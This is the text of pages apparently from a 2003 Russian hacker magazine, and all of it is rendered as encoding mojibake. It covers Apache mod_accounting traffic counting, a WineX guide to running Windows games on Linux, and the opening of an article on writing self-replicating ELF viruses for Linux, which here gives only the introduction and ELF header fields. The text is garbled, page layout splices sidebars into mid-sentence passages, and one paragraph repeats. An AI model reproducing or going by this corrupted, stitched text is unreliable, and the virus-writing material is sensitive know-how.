âíèìàíèå íà ôàéë schema.sql. Ýòî ñòðóêòóðà òàáëèöû<br />
ipaccounting, ñîñòîÿùàÿ èç ïîëåé bytesin, bytesout è<br />
host, õðàíÿùèõ â ñåáå çíà÷åíèÿ âõîäÿùèõ, èñõîäÿùèõ<br />
Ïðîñòåéøèé ïàðñèíã access_log<br />
Ïðàâèëüíàÿ ðàáîòà ìîäóëÿ<br />
áàéòîâ è âèðòóàë õîñò ñîîòâåòñòâåííî. Îòðåäàêòèðóé<br />
ýòîò ôàéë è âñòàâü òóäà íåîáõîäèìûå õîñòû. Çàòåì âûïîëíè<br />
ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü äåéñòâèé:<br />
[root@tema mod_accounting]# mysql -uroot -<br />
pmypasswd<br />
mysql> create database ipaccounting;<br />
Query OK, 1 row affected (0.00 sec)<br />
mysql> \q<br />
Bye<br />
[root@tema mod_accounting]# mysql -uroot -<br />
pmypasswd ipaccounting < schema.sql<br />
Òåì ñàìûì òû ñîçäàøü íåîáõîäèìóþ òàáëèöó äëÿ ðàáîòû<br />
ìîäóëÿ. Çàòåì<br />
ðåäàêòèðóåì httpd.conf è äîáàâëÿåì òóäà ñëåäóþùèå<br />
äèðåêòèâû:<br />
AccountingQueryFmt «UPDATE ipaccounting SET<br />
bytesin = bytesin + %r, bytesout = bytesout + %s<br />
WHERE LOWER( host ) = LOWER( ‘%h’ )»<br />
AccountingDatabase ipaccounting<br />
AccountingDatabaseDriver mysql<br />
AccountingDBHost localhost 3306<br />
AccountingLoginInfo root mypasswd<br />
Ýòè äàííûå íåîáõîäèìî êîððåêòíî çàäàòü äëÿ óñïåøíîãî<br />
ñîåäèíåíèÿ ñ mysql.<br />
È ôèíàëüíûì øòðèõîì áóäåò êîìàíäà «apachectl<br />
restart». Åñëè âñå ðàáîòàåò êàê íàäî, ïîñåðôè õîñòû,<br />
çàíåñåííûå â áàçó, ÷òîáû îöåíèòü ðåçóëüòàò. À ðàáî-<br />
÷èé ðåçóëüòàò óâåí÷àåòñÿ ñëåäóþùèì îòâåòîì mysql:<br />
bytesin bytesout host<br />
2210 13393 irc.ural.org<br />
Ýòî îçíà÷àåò, ÷òî òû âñå ñäåëàë ïðàâèëüíî. Òåáå<br />
îñòàëîñü, îïÿòü æå, ñäåëàòü ñêðèïò äëÿ dump’à ðå-<br />
×ÒÎ ÄÅËÀÒÜ,<br />
ÅÑËÈ ÍÅ ÐÀÁÎÒÀÅÒ IPFW?<br />
 áîëüøèíñòâå ñëó÷àåâ ìîäóëü ôàåðâîëà<br />
ïðîñòî íå ïîäãðóæåí. Íî ïî äåôîëòó ôàåðâîë<br />
ñîáèðàåòñÿ ñ îïöèåé DEFAULT_TO_DENY, ýòî<br />
çíà÷èò, ÷òî, ïîäãðóçèâ åãî, òû ïîòåðÿåøü êîíòàêò<br />
ñ ñåðâåðîì, åñëè ñèäèøü íà íåì óäàëåííî.<br />
×òîáû ýòîãî íå ïðîèçîøëî, âûïîëíè êîìàíäó:<br />
kldload ipfw && ipfw add 65000 allow ip<br />
from any to any. À çàòåì ïåðåñîáåðè ÿäðî ñ îïöèåé<br />
IPFIREWALL, ÷òîáû ïîäãðóæàòü ìîäóëü íà<br />
óðîâíå çàãðóçêè ÿäðà. Âñå!<br />
çóëüòàòîâ ñòàòèñòèêè, à ýòî òû óæå äåëàë íåñêîëüêî<br />
ðàç =).<br />
Äëÿ âòîðîãî âàðèàíòà, à èìåííî ïàðñèíãà (íå ïóòàòü ñ<br />
ïèðñèíãîì :)) access_log’à àïà÷è ìîæíî èñïîëüçîâàòü<br />
îòäåëüíûé ñîôò, íàïðèìåð, ñîôòèíó httpdstats. Áðàòü<br />
îòñþäà: http://www.charvolant.org/~Edoug/httpdstats/<br />
httpdstats-0.2.2.tar.gz. Äëÿ ñáîðêè îñîáîãî óìà íå íàäî,<br />
êîíô òîæå îôîðìëÿåòñÿ çà 2 ìèíóòû. Ïîôèêñè îïöèþ<br />
ignore_domains, ÷òîáû íå çàòðàãèâàòü íåíóæíûå<br />
òåáå äîìåíû, à çàòåì ïîïðîáóé çàïóñòèòü òóëçó:<br />
[root@tema httpdstats-0.2.2]# httpdstats -host<br />
/usr/work/www/logs/access_log<br />
By Host Name Requests Bytes<br />
————————————————————————<br />
213.140.104.125 11 91.7% 67524 100.0%<br />
Âîò, ñîáñòâåííî, è ðåçóëüòàò ðàáîòû. Îáðàáîòàòü ýòè<br />
äàííûå ìîæíî îáû÷íûì perl-ñêðèïòîì. Íî åùå ðàç<br />
ïîâòîðþñü, ëó÷øå âñå-òàêè óñòàíîâèòü mod_accounting,<br />
îñîáåííî åñëè ïðîõîäÿùèé òðàôèê î÷åíü áîëüøîé<br />
(èç-çà áîëüøîãî ðàçìåðà ëîãà âíåøíèå ñîôòèíû áóäóò<br />
íåñêîëüêî òîðìîçíóòî èõ îáðàáàòûâàòü), äà è õðàíåíèå<br />
â sql ãîðàçäî óäîáíåå, ÷åì â ôàéëàõ. Íàëèöî è åùå<br />
îäèí ìèíóñ âíåøíèõ ïðîãðàìì: èõ íóæíî êàêèì-òî îáðàçîì<br />
îáðàáàòûâàòü cron’îì, òðàòÿ íà ýòî ëèøíåå âðåìÿ,<br />
â ìîäóëüíîì âàðèàíòå òàêîé ïðîáëåìû íåò.<br />
Òåïåðü, ÿ óâåðåí, ïîäñ÷åò òðàôèêà íå áóäåò äëÿ òåáÿ<br />
ãîëîâíîé áîëüþ. Ñàìîå ãëàâíîå - îöåíèòü ñèòóàöèþ è<br />
ïîíÿòü, êàêîé ìåòîä ïîäñ÷åòà èñïîëüçîâàòü. Çàòåì óñòàíîâèòü<br />
íóæíûé äëÿ ýòîãî ñîôò è íåêîòîðîå âðåìÿ<br />
åãî ïîòåñòèòü. Åñëè ðåçóëüòàò òåáÿ óñòðàèâàåò - ïèñàòü<br />
ñêðèïòû äëÿ îáðàáîòêè è ñîñòàâëÿòü ñâîþ áàçó äàííûõ.<br />
Íî, êîíå÷íî, ñàìîå ãëàâíîå - ýòî áûòü<br />
óâåðåííûì â ñâîèõ ñèëàõ, è ó òåáÿ âñå îáÿçàòåëüíî<br />
ïîëó÷èòñÿ!<br />
70 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Þíèêñîèä<br />
WINEX<br />
0vod ovod@crazy.ru<br />
Ïðîäîëæèì íà÷àòóþ íåäàâíî òåìó ïðî èãðû â<br />
Linux. Ïðåäûäóùàÿ ñòàòüÿ îáîáùèëà âñå òå<br />
ìåòîäû, êîòîðûå ïîçâîëÿþò ñäåëàòü èç Ïèíãâèíà<br />
ïîëíîöåííóþ èãðîâóþ ïëàòôîðìó. Â<br />
ýòîé ñòàòüå ìû ðàññìîòðèì íà ïðèìåðå ïîïóëÿðíûõ<br />
íûíå èãðóøåê – CS, Half-Life è, íàêîíåö,<br />
Warcraft 3, êàê èãðàòü â èãðû, òðåáóþùèå<br />
ïîääåðæêè DurectX, èñïîëüçóÿ WineX.<br />
Go! Íà÷í¸ì ñ ñàìîãî ãëàâíîãî: ïîä Linux'îì<br />
ìîæíî çàïóñêàòü Windows-ïðîãðàììû è èãðû<br />
â òîì ÷èñëå. Ñóùåñòâóåò áîëüøîå êîëè÷åñòâî<br />
ïðîãðàìì, ïîçâîëÿþùèõ ýòî ñäåëàòü. Ñêàæó<br />
ëèøü î íåñêîëüêèõ. VMWare - ìîùíàÿ ñèñòåìà<br />
âèðòóàëüíûõ ìàøèí: ýìóëèðóåòñÿ ñàì<br />
êîìïüþòåð, âíóòðè êîòîðîãî è çàïóñêàåòñÿ<br />
äðóãàÿ ÎÑ. Win4Lyn - òîæå ýìóëÿòîð âèðòóàëüíîãî<br />
êîìïüþòåðà, íî îí ñîçäàí è îïòèìèçèðîâàí<br />
ñïåöèàëüíî äëÿ çàïóñêà Windows â<br />
Linux. Ïðàâäà, âûøåïåðå÷èñëåííûå ïðîãðàììû<br />
èñïîëüçóþò äëÿ ýìóëÿöèè ñàì Windows,<br />
òàê ÷òî íóæíî èìåòü óñòàíîâëåííóþ îñü, äà è<br />
â èãðû íè ïîä VMWare, íè ïîä Win4Lyn âñå<br />
ðàâíî íå ïîèãðàåøü. WINE - ýòî íå ñîâñåì<br />
ýìóëÿòîð, òàê êàê îí íå òðåáóåò íèêàêèõ âèíäóøíûõ<br />
ôàéëîâ è ïðåäñòàâëÿåò ñîáîé ñàìîñòîÿòåëüíóþ<br />
ïðîãðàììó. À áëàãîäàðÿ ïðîåêòó<br />
WineX îò TransGaming îí ïîçâîëÿåò íàñëàäèòüñÿ<br />
èãðîé â DirectX-èãðû, ÷òî íàì è íàäî.<br />
Ïîäãîòîâêà<br />
Äëÿ íà÷àëà íóæíî ïðîâåðèòü ðàáîòîñïîñîáíîñòü OpenGL:<br />
$ glxinfo<br />
Óäåëè îñîáîå âíèìàíèå ñòðî÷êå: 'direct rendering: Yes',<br />
ýòî àïïàðàòíîå óñêîðåíèå, åñëè 'Yes' - îíî âêëþ÷åíî, åñëè<br />
'No' - áóäåò èñïîëüçîâàí òîëüêî ïðîãðàììíûé ðåíäåðèíã<br />
â ëþáîé èãðå. Åñëè àïïàðàòíîå óñêîðåíèå âêëþ÷åíî,<br />
òî îñòàâü, êàê åñòü. Åñëè æå îíî îòêëþ÷åíî, èëè òû<br />
ïðîñòî õî÷åøü ïîñòàâèòü ñâåæèå äðîâà ñ íîâîé âåðñèåé<br />
ðåàëèçàöèè OpenGL äëÿ âèäåîêàðòû – ÷èòàé äàëüøå. Äëÿ<br />
ñ÷àñòëèâûõ îáëàäàòåëåé XFree86 4.2.0 íàñòîÿòåëüíî ðåêîìåíäóþ<br />
ñäåëàòü ñèìâîëüíûé ëèíê ñ<br />
/usr/X11R6/include/GL íà /usr/include/GL. Äëÿ ýòîãî:<br />
$ cd /usr/X11R6/include/GL<br />
$ ln -s /usr/include/GL<br />
Òåïåðü íóæíî óáåäèòüñÿ, ÷òî â ýòîé ïàïêå ëåæàò glu_mangle.h,<br />
gl_mangle.h, glx.h, glext.h, glx_mangle.h, glu.h, glxext.h.<br />
Åñëè òâîÿ êàðòî÷êà îò nVidia, òî âîçüìè ñ<br />
www.nvidia.com ïîñëåäíèå äðàéâåðà: íóæíî ñêà÷àòü äâà<br />
ïàêåòà: NVIGIA_kernel (ìîäóëü äëÿ ÿäðà) è NVIDIA_GLX<br />
(OpenGL äëÿ êàðòî÷êè), ëó÷øå ñêà÷èâàòü èñõîäíèêè. Äëÿ<br />
ñáîðêè äðàéâåðîâ:<br />
$ cd /usr/src/NVIDIA_kernel-1.0-3123<br />
$ make && make install<br />
$ cd /usr/src/NVIDIA_GLX-1.0-3123<br />
$ make && make install<br />
Îñîáûõ ïðîáëåì ñ óñòàíîâêîé äðàéâåðîâ íå íàáëþäàëîñü.<br />
Ïðàâäà, ïðè óñòàíîâêå ñîáðàííîãî ìîäóëÿ äëÿ ÿäðà,<br />
WineX<br />
Ïðîäîëæàåì èãðàòü â Ëèíóêñå!<br />
îí áóäåò ïðèêðó÷åí ê ÿäðûøêó, êîòîðîå çàïóùåíî â äàííûé<br />
ìîìåíò, à ïðè çàãðóçêå äðóãîãî ÿäðà áóäåò ìèãàòü<br />
ýêðàí: èç-çà îòñóòñòâèÿ äðîâ äëÿ êàðòî÷êè. ×òîáû ýòî ïîôèêñèòü,<br />
íóæíî äîæäàòüñÿ ïîÿâëåíèÿ êîíñîëè è ñîáðàòü<br />
äðîâà óæå èç-ïîä íóæíîãî òåáå ÿäðà. Åñëè òû èìååøü<br />
êàðòî÷êó îò 3dfx, íàñòîÿòåëüíî ðåêîìåíäóþ êóïèòü íîâóþ<br />
âèäåîêàðòó :), åñëè òû õî÷åøü ÍÎÐÌÀËÜÍÎ èãðàòü â íîâûå<br />
èãðû. Õîòÿ âî ÷òî-òî òû åù¸ ïîèãðàåøü. Óñòàíîâè ïîñëåäíþþ<br />
âåðñèþ Glide ñ www.linux.3dfx.com. Äëÿ óñòàíîâêè<br />
openGL íóæíî ñîáðàòü Mesa - ýòî ñâîáîäíàÿ ðåàëèçàöèÿ<br />
openGL. Íà www.mesa3d.sourceforge.net ñêà÷àé ïîñëåäíèå<br />
âåðñèè èñõîäíèêîâ MesaLib è MesaDemos, äàëåå:<br />
$ tar -xvzf MesaLib-5.0.tar<br />
$ tar -xvzf MesaDemos-5.0.tar<br />
$ cd Mesa-5.0<br />
$ ./configure --without-svga --without-ggi<br />
$ make && make install<br />
Åñëè ó òåáÿ êàðòî÷êè äðóãèõ ïðîèçâîäèòåëåé, òî ñìîòðè<br />
íà www.dri.sourceforge.net íóæíîå èìåííî òåáå.<br />
Òåïåðü ïîðà ïîñìîòðåòü, ÷òî âûäà¸ò FPS:<br />
$ glxgears<br />
Óäèâëåí ðåçóëüòàòàìè? Åñëè íåò, òî âîçìîæíî ïðèäåòñÿ<br />
íåìíîãî ïîâîçèòüñÿ ñ ôàéëîì íàñòðîéêè èêñîâ<br />
(/etc/X11/XF86config-4).<br />
Ñîáèðàåì WINEX<br />
WineX - áèáëèîòåêè DirectX äëÿ WINE, à íå ñàìîñòîÿòåëüíàÿ<br />
ïðîãðàììà. Äðóãèìè ñëîâàìè, ñåé÷àñ ìû áóäåì<br />
ñîáèðàòü îáû÷íûé wine ñ áèáëèîòåêàìè directX. Ñíà÷àëà<br />
íóæíî âûêà÷àòü èñõîäíèêè èç CVS-ðåïîçèòîðèÿ:<br />
$ cd /usr/src<br />
$ su (åñëè íå root)<br />
$ cvs -<br />
d:pserver:anonymous@cvs.winex.sourceforge.net:/cvsroot/w<br />
inex login<br />
Íà çàïðîñ ââîäà ïàðîëÿ, æìåì ENTER è äàëåå íàáèðàåì<br />
ñëåäóþùóþ êîìàíäó:<br />
$ cvs -z3 -<br />
d:ext:developername@cvs.winex.sourceforge.net:/cvsroot/wi<br />
nex co<br />
wine<br />
Ïîñëå çàãðóçêè èñõîäíèêîâ ïðè îáíîâëåíèè âåðñèè<br />
WineX ñ ïîìîùüþ CVS ìîæåì ñäåëàòü ñèíõðîíèçàöèþ, è<br />
âóàëÿ - ó íàñ íîâàÿ âåðñèÿ áåç ëèøíèõ ïðîáëåì. Ïîäðîáíåå<br />
î CVS ìîæíî ïðî÷èòàòü â Õ çà 08.02 (44), ñòàòüÿ 'Õàêåðû<br />
âûáèðàþò CVS'.<br />
Òåïåðü â êàòàëîãå, ãäå ëåæèò ïîñëåäíÿÿ âåðñèÿ wine, âûïîëíÿåì:<br />
$ ./configure --with-x --enable-opengl --without-trace -without-debug<br />
Óäåëè âíèìàíèå ñòðîêàì:<br />
checking GL/gl.h usability... yes<br />
checking GL/gl.h presence... yes<br />
checking for GL/gl.h... yes<br />
checking GL/glx.h usability... yes<br />
checking GL/glx.h presence... yes<br />
checking for GL/glx.h... yes<br />
checking for GL/glext.h... yes<br />
Åñëè âñ¸ OK, îñòàëîñü òîëüêî ñêîìïèëèðîâàòü:<br />
$ make depend && make<br />
1 2 3 4<br />
72 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ïîçäðàâëÿþ! Âñ¸ óæå ïðàêòè÷åñêè ãîòîâî ê ðàáîòå, îñòàëîñü<br />
òîëüêî ïðîèíñòàëëèðîâàòü è íàñòðîèòü. Èòàê, äëÿ<br />
óñòàíîâêè â êàòàëîãå wine íàáåðè:<br />
$ ./tools/wineinstall<br />
Çàòåì, îòâåòèâ íà íåñëîæíûå âîïðîñû, òû ñìîæåøü îáíàðóæèòü<br />
â êîðíåâîé äèðåêòîðèè ïàïêó 'c' - íàø ïñåâäîäèñê<br />
ñ:\... âíóòðè åùå ñìåøíåå: ïàïêè Windows è<br />
Programs Files ;). Òàêæå ìîæíî ïðîâåðèòü ðàáîòîñïîñîáíîñòü<br />
wine â ïðîöåíòàõ:<br />
$ ./tools/winecheck<br />
Ïðàâäà, îñîáî äîâåðÿòü ðåçóëüòàòó íå ñòîèò, îí ðàçâå<br />
÷òî ïîìîæåò íàéòè êîíôëèêòû, íàïðèìåð, ó ìåíÿ ïîëó÷èëîñü<br />
72,25%, íî, òåì íå ìåíåå, âñå íèæåîïèñàííûå èãðû<br />
ðàáîòàþò... Â òâîåì äîìàøíåì êàòàëîãå åñòü ñêðûòàÿ<br />
ïàïêà '.wine', â êîòîðîé ëåæèò ôàéë config, òàì ñîäåðæàòñÿ<br />
íàñòðîéêè, ñ êîòîðûìè òîæå ïðèä¸òñÿ ïîðàáîòàòü.<br />
Ïðåæäå âñåãî, íóæíî ïðîâåðèòü, ÷òî â ñåêöèè [x11drv]<br />
óñòàíîâëåí "DesktopDoubleBuffered" =<br />
"Y".<br />
Âïîëíå âîçìîæíî, âñå ðóññêèå áóêâû áóäóò îòîáðàæàòüñÿ<br />
àáðîé-êàäàáðîé, äëÿ èñïðàâëåíèÿ äàííîãî áàãà íóæíî<br />
'default cyrillic bitmap X fonts' â òîì æå<br />
ôàéëå êîíôèãóðàöèè èçìåíèòü. Áûëî:<br />
"Default" = "-cronyx-helvetica-";<br />
"DefaultFixed" = "fixed";<br />
"DefaultSerif" = "-cronyx-times-";<br />
"DefaultSansSerif" = "-cronyx-helvetica-";<br />
Ñòàëî:<br />
"Default" = "-adobe-helvetica-";<br />
"DefaultFixed" = "fixed";<br />
"DefaultSerif" = "-adobe-times-";<br />
"DefaultSansSerif" = "-adobe-helvetica-";<br />
 äàëüíåéøåì ïðîãðàììû ñ ïîìîùüþ wine ïðèä¸òñÿ çàïóñêàòü<br />
íå òîëüêî ïîä îáû÷íûì ïîëüçîâàòåëåì, íî è ïîä<br />
root’îì. Ïðèìè âî âíèìàíèå, ÷òî â /root/.wine òîæå ëåæèò<br />
ôàéë config, êîòîðûé òîæå íóæíî èçìåíèòü. Â ðàçäåëå<br />
‘support’ ñàéòà www.winehq.org åñòü âñå, íà òîò<br />
ñëó÷àé, åñëè ó òåáÿ âîçíèêëè êàêèå-ëèáî ïðîáëåìû.<br />
Ëè÷íî ó ìåíÿ äèñòðèáóòèâ ASP Linux 7.3 'Âîñòîê' (îñíîâàí<br />
íà RedHat), â êîòîðîì èñïîëüçóåòñÿ ÿäðûøêî 2.4.18-<br />
5asp, ãäå åñòü security patch, è êàê îêàçàëîñü, wine ñ íèìè<br />
íå ðàáîòàåò :(. Åäèíñòâåííàÿ âîçìîæíîñòü ïîèãðàòü<br />
äëÿ ìåíÿ çàêëþ÷àëàñü â ïåðåñîáèðàíèè ÿäðà, ñ ÷åì ÿ<br />
óñïåøíî ñïðàâèëñÿ, íî ýòî ñîâñåì äðóãàÿ èñòîðèÿ...<br />
Èãðàåì â Half-Life è CS<br />
Ëèíê:<br />
http://www.transgaming.com/gamepage.php?gameid=1<br />
Ïðè âîçíèêíîâåíèè ïðîáëåì ñî çâóêîì/êàðòèíêîé/ñàìèì_wine<br />
ðåêîìåíäóþ îçíàêîìèòüñÿ ñ howto íà<br />
http://lhl.linuxgames.com. Ñòàðûé äîáðûé õàëô:<br />
$ cd /mnt/cdrom<br />
$ wine setup.exe<br />
Ïîñëå óñòàíîâêè íà ïñåâäîäèñê ñ:<br />
$ cd /c/Half-Life<br />
$ wine hl.exe -- hl.exe -console -gl -gldrv Default -w 1024<br />
À äëÿ ñòàðòà CS:<br />
$ wine hl.exe -- hl.exe -console -game cstrike -gl -gldrv<br />
Default -w 1024<br />
Ñòàðûé äîáðûé HalfLife…<br />
Çàïóñêàòü HL æåëàòåëüíî ïîä ðóòîì, èíà÷å áóäåò<br />
áåçáîæíî âûëåòàòü ïðè íàäïèñè "Loading...", íî äëÿ<br />
íàñ íåò íè÷åãî íåâîçìîæíîãî: äëÿ òîãî, ÷òîáû èãðàòü<br />
ñ ïðàâàìè îáû÷íîãî ïîëüçîâàòåëÿ, èçìåíè<br />
ïðàâà íà êàòàëîã Half-Life òàê, ÷òîáû äðóãèå ïîëüçîâàòåëè<br />
ìîãëè èçìåíÿòü ñïèñîê ôàéëîâ, è ïîñòàâü<br />
ãàëî÷êó "Ïðèìåíèòü èçìåíåíèÿ êî âñåì ïîäêàòàëîãàì<br />
è èõ ñîäåðæèìîìó". Âïîëíå âîçìîæíî, ïðè<br />
ñòàðòå èãðû òåáÿ ïîïðîñÿò ïåðåéòè â 16-áèòíûé<br />
öâåò, äëÿ ýòîãî îòðåäàêòèðóé ôàéëèê<br />
/etc/X11/XF86config-4 è èçìåíè ñåêöèþ screen â ñîîòâåòñòâèè<br />
ñ íóæíûìè ïàðàìåòðàìè, ïîñëå ÷åãî<br />
ñïîêîéíî ïåðåçàãðóçè èêñû. Î÷åíü çàáàâíûé ãëþê<br />
ìîæíî íàáëþäàòü ñ ìåíþ: îíî óæàñíî òîðìîçèò,<br />
ò.å. ìåæäó íàæàòèåì íà 'New Game' è ïîÿâëåíèåì<br />
ñàìîãî ìåíþ ñ âûáîðîì óðîâíÿ ñëîæíîñòè âèñíåò<br />
ïàóçà ïðîäîëæèòåëüíîñòüþ 3-5 ñåêóíä, íî ñàìà èãðà<br />
íå òîðìîçèò, ÷òî íå ìîæåò íå ðàäîâàòü.<br />
Èãðàåì â Max Payne<br />
Ëèíê:<br />
http://www.transgaming.com/gamepage.php?gameid=29<br />
Íà ñàéòå TransGaming ýòî åäèíñòâåííàÿ (íàäåþñü, ïîêà)<br />
èãðà, êîòîðàÿ ïîääåðæèâàåòñÿ íà 5 áàëëîâ, âñå ðàáîòàåò<br />
áåç îñîáûõ ïðîáëåì.<br />
$ cd /mnt/cdrom<br />
$ wine setup.exe<br />
$ cd /c/MAXPAYNE/<br />
$ wine MaxPayne.exe<br />
Äÿäÿ Ìàêñ âûõîäèò íà òðîïó âîéíû<br />
Çàïóñêàòü, ïîäîáíî õàëâå, òüôó òû, Õàëôå, íóæíî ñ ïðàâàìè<br />
ñóïåðïîëüçîâàòåëÿ èëè èçìåíèòü ïðàâà íà çàïèñü â êàòàëîã,<br />
èíà÷å èãðà íå áóäåò ñýéâèòüñÿ (èç-çà îòñóòñòâèÿ ïðàâ). Ïðè<br />
âîçíèêíîâåíèè ïðîáëåì, ïðåæäå ÷åì ìó÷èòü âñåâîçìîæíûå<br />
ôîðóìû, óáåäèñü, ÷òî ó òåáÿ óñòàíîâëåí ïîñëåäíèé ïàò÷ ê<br />
<br />
èãðå (ñì. ññûëêè âî âðåçêå). Åñòü âåðîÿòíîñòü, ÷òî èãðà áóäåò<br />
âûëåòàòü ïðè çàãðóçêå óðîâíÿ, äëÿ óñòðàíåíèÿ ýòîãî<br />
íóæíî ñòàðòîâàòü Ìàêñà ñëåäóþùèì îáðàçîì:<br />
$ wine MaxPayne.exe -- -disable3dpreloads<br />
Âñ¸ ðàáîòàåò, ïðîâåðåíî ïðàêòèêîé.<br />
Èãðàåì â WarCraft III<br />
Ëèíê:<br />
http://www.transgaming.com/gamepage.php?gameid=556<br />
Îïðîâåðãíåì ãíóñíûå çàÿâëåíèÿ, ÷òî âñå êóëüòîâûå ïîñëåäíèå<br />
èãðû èäóò òîëüêî ïîä âèíäàìè, íà ïðèìåðå<br />
Warcraft’a:<br />
$ cd /mnt/cdrom<br />
$ wine -winver win98 install.exe<br />
Ïðè èíñòàëëÿöèè ïðîïóñòè óñòàíîâêó DirectX, ïîñëå íåå â êàòàëîãå<br />
W3 ïåðåèìåíóé ïàïêó Movies âî ÷òî-íèáóäü äðóãîå:<br />
$ mv Movies bak.Movies<br />
Êñòàòè, ýòî îáû÷íûé DivX, êîòîðûé çàìå÷àòåëüíî ïðîñìàòðèâàåòñÿ<br />
mplayer'îì. Äëÿ çàïóñêà íàáèðàåì:<br />
$ wine War3.exe -- War3.exe –opengl<br />
Íè÷óòü íå õóæå, ÷åì ïîä Windows<br />
Âñå, ñåãîäíÿ òû õîðîøî ïîòðóäèëñÿ, òåïåðü íåìíîãî ðàññëàáüñÿ<br />
è ïîèãðàé. Ìû ðåàëüíî âñåì äîêàçàëè, ÷òî ìîæíî<br />
ïîëó÷àòü óäîâîëüñòâèå (à íå òîëüêî ãèìîð) è â Ëèíóêñå,<br />
èãðàÿ â ñàìûå ïîñëåäíèå èãðû, êîòîðûå, ïî ìíåíèþ<br />
áîëüøèíñòâà, èäóò òîëüêî ïîä Windows. È â ýòîì íàì ïîìîã<br />
WineX, çà ÷òî åìó îãðîìíàÿ áëàãîäàðíîñòü! Êîíå÷íî,<br />
Linux – äàëåêî íå êîíêóðåíò ïðîäóêöèè “Ìàéêðîñîôòà”<br />
ïî êîëè÷åñòâó èãð. Ïîêà. Âñå åùå âïåðåäè.<br />
Ññûëêè:<br />
http://www.3drealms.com/max/downloads.html<br />
- ïàò÷ äëÿ Max Payne<br />
http://dri.sourceforge.net<br />
http://transgaming.com<br />
http://winehq.org<br />
http://linux3d.net<br />
http://linuxgames.com<br />
http://happypenguin.org/<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 73
Êîäèíã<br />
ÑÀÌÎÐÀÑÏÐÎÑÒÐÀÍßÞÙÈÅÑß ÔÀÉËÛ ÏÎÄ LINUX<br />
saparmurat<br />
Ñàìîðàñïðîñòðàíÿþùèåñÿ<br />
ïîäLinux<br />
Îïðåäåëåíèé âèðóñó äàíî ìíîãî, â îäíîì ñëó÷àå ýòî "æèâîé ñàìîðàñïðîñòðàíÿþùèéñÿ<br />
ìåõàíèçì", â äðóãîì - ÷óòü ëè íå èñêóññòâåííûé èíòåëëåêò, à â òðåòüåì âîîáùå ñòèõèéíîå<br />
áåäñòâèå. Â îáùåì, êîìó ÷òî íðàâèòñÿ. Íî êàê åãî íè íàçîâè, ýòî ïðîñòî ÏÐÎ-<br />
ÃÐÀÌÌÀ, îáëàäàþùàÿ òåìè èëè èíûìè âîçìîæíîñòÿìè, è îñíîâíîé åå çàäà÷åé ÿâëÿåòñÿ<br />
âíåäðåíèå ñîáñòâåííîãî êîäà â òåëî äðóãîé ïðîãðàììû-æåðòâû ñ öåëüþ "âûæèâàíèÿ"<br />
(ðåæå - äåñòðóêöèè).<br />
Ïðåæäå ÷åì ïðîäîëæèòü, õî÷ó ïðåäóïðåäèòü, ÷òî âñå íèæåñêàçàííîå ïóáëèêóåòñÿ ëèøü<br />
â îáðàçîâàòåëüíûõ öåëÿõ è íè â êîåì ñëó÷àå íå ÿâëÿåòñÿ àãèòàöèåé èëè ïîñîáèåì ïî<br />
íàïèñàíèþ âèðóñîâ. Ïîìíè, ñîçäàíèå è ðàñïðîñòðàíåíèå âèðóñîâ óãîëîâíî íàêàçóåìî!<br />
×èòàé ÓÊ ÐÔ!<br />
Öåëè<br />
Äëÿ ÷åãî âîîáùå ïèøóòñÿ âèðóñû? Öåëü ó êàæäîãî ñâîÿ, íî âîò ÷åòûðå ñàìûõ ðàñïðîñòðàíåííûõ:<br />
1. Ïîêàçàòü îêðóæàþùèì íàëè÷èå êëàññíûõ çíàíèé.<br />
2. Äëÿ ñîáñòâåííîãî ñàìîîáðàçîâàíèÿ. Âèðóñíûå òåõíîëîãèè - î÷åíü èíòåðåñíàÿ îáëàñòü<br />
â ïëàíå òåîðèè/ðåàëèçàöèè.<br />
3. Íàíåñòè êàêîé-òî óùåðá, ñîçäàòü ýïèäåìèþ (áîëåå àêòóàëüíî äëÿ ñòàðåíüêèõ âèðóñîâ,<br />
íûíå ýïèäåìèè ñîçäàþò ÷åðâè).<br />
4. Ïðîâåðèòü, íàñêîëüêî æèâó÷ âèðóñ - îáû÷íûé èíòåðåñ.<br />
Ê ñîæàëåíèþ, ñîçäàâàÿ âèðóñû, áîëüøèíñòâî ëþäåé ïðåñëåäóþò äóðíûå öåëè. Âåäü<br />
ðàçðóøàòü - íå ñòðîèòü... ×èòàòü æå î òîì, êàê ñîçäàòü íåáîëüøîé âèðóñ ïîä Win/Dos<br />
ìàëî êîìó èíòåðåñíî, èáî ðàçëè÷íûõ äîêóìåíòîâ íàâàëîì, à âîò ïðî Unix (â ÷àñòíîñòè<br />
Linux) ïðàêòè÷åñêè íè÷åãî íå ñêàçàíî.<br />
Òåîðèÿ<br />
 ýòîì ìàòåðèàëå áóäåò ïðåäñòàâëåí ïðèìåð "æèâîãî ñàìîðàñïðîñòðàíÿþùåãî ìåõàíèçìà"<br />
ïîä Linux, è çà îñíîâíîé ÿçûê ïðîãðàììèðîâàíèÿ âçÿò C. Çíàíèé Ñ ïîòðåáóåòñÿ<br />
ñîâñåì íåìíîãî, à âäîáàâîê áóäåò ïîêàçàí ïðèìåð ðàáîòû ñ ELF-çàãîëîâêîì. Äëÿ ýòîãî<br />
èñïîëüçóåòñÿ elf.h õåäåð.  íåì îïðåäåëåíû ðàçëè÷íûå ñòðóêòóðû äëÿ ðàáîòû ñ ELFôàéëàìè,<br />
íî ðåàëüíî áóäåò èñïîëüçîâàíà òîëüêî îäíà - Elf32_Ehdr. Åå îáúÿâëåíèå ïðîèñõîäèò<br />
òàê: Elf32_Ehdr ehdr;<br />
Âîò íåñêîëüêî ýëåìåíòîâ ýòîé ñòðóêòóðû:<br />
ehdr.e_version - âåðñèÿ ELF-ôàéëà (÷àùå âñåãî 1 - current)<br />
ehdr.e_entry - òî÷êà âõîäà<br />
ehdr.e_type - òèï ELF-ôàéëà: èñïîëíÿåìûé, îáúåêòíûé ôàéë, êîðêà èëè äðóãîé<br />
ôàéëû<br />
Îïðåäåëåíèé âèðóñó äàíî ìíîãî, â îäíîì ñëó÷àå ýòî "æèâîé ñàìîðàñïðîñòðàíÿþùèéñÿ ìåõàíèçì",<br />
â äðóãîì - ÷óòü ëè íå èñêóññòâåííûé èíòåëëåêò, à â òðåòüåì âîîáùå ñòèõèéíîå áåäñòâèå.<br />
